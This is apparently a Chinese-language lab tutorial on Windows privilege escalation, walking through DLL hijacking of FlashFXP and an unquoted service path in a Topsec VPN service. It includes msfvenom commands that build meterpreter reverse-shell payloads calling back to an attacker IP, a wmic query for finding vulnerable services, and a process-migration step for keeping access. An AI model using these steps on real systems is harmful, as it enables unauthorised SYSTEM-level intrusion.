一、DLL注入提权
Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
应用程序加载的目录
C:\Windows\System32
C:\Windows\System
C:\Windows
当前工作目录Current Working Directory,CWD
在PATH环境变量的目录(先系统后用户)
这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载,而系统dll是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件。
参考文章:DLL劫持原理及其漏洞挖掘(一) - 安全客,安全资讯平台
利用条件比较鸡肋,需要满足以下条件才能成功...
1)这个软件可以被利用
2)有权限替换dll文件
3)受害者会运行与这个dll文件相关的软件
FlashFXP DLL劫持
利用思路:通过webshell进行信息收集,制作dll木马并上传,替换dll,启动应用后成功反弹shell....
实验环境
操作系统 | 软件/角色 |
Wins08R2 | FlashFXP 4.4.2绿色版/受害机 |
Kali 2022 | MSF/攻击机 |
步骤一:通过火绒剑分析FlashFXP程序的DLL,找到非系统DLL文件就可以退出FlashFXP程序....
步骤二:使用MSF生成恶意的DLL文件并替换FlashFXP中的源文件....libeay32.dll
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.113 lport=5555 -f dll >./hack.dll
步骤三:MSF开启监听并运行FlashFXP...成功拿到会话..
步骤四:令牌窃取提权....
二、不带引号的服务路径提权
步骤一:在windows中存在这样一个情况,如果1个路径,或者文件中存在空格,需要将其使用双引号括住....才能正确被系统识别出来。如下:
步骤二:第1个命令没有用双引号括住,导致系统误认为C:\Program
是个程序,Files (x86)
是参数,从而出现了异常,不过,上面的操作是在powshell发生了异常,但是在cmd中,是不会报错的....
步骤三:攻击思路就是:找出服务中,既存在空格路径,还没有用双引号括住的路径。然后制造误会,让服务启动错误的程序,即可拿到system的shell....
1)路径中有空格
2)路径中没有用双引号包住
3)可以写入到文件到此路径下
复现:天融信下一代VPN不安全服务路径提权
操作系统 | 服务/角色 |
Wins19 | 天融信/不安全服务 |
Kali 2022 | MSF/攻击机 |
步骤一:使用以下命令获取服务中存在空格,可能不安全的服务
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
步骤二:可以看到,我这里存在一个不安全的服务,是关于vpn的。所以,接下来就是MSF生成名为Program.exe
的后门文件,放在c盘根目录下即可。启动服务的时候,为什么能发生攻击呢?路径没有包含在引号中,服务会按照以下顺序依次执行:
c:\program.exe
c:\program files.exe
c:\program files (x86)\grasssoft\macro.exe
c:\program files (x86)\grasssoft\macro expert\MacroService.exe
步骤三:使用MSF生成名为Program.exe
的木马并开启监听....并将木马放到受害者的C盘根目录下...
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.113 lport=4444 -f exe >./Program.exe
步骤四:发现程序的服务正在运行...重启服务(视真实环境中的真实权限而定...不能重启服务就等重启电脑...)
步骤五:在MSF中可以看到拿到的会话...
步骤六:最后服务是无法启动的...因为电脑已经找不到正确的程序....等他报错时会话就会断开...
所以实战中需要快速进行权限维持...使用上面迁移进程的方式...
set AutoRunScript migrate -f